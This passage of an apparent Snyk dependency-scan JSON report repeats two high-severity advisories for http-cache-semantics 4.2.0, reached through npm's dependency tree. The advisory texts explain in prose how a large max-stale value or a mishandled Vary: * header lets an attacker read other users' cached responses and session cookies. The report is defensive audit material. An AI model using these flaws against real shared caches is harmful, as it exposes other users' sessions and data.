"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmfund@8.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmfund@8.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
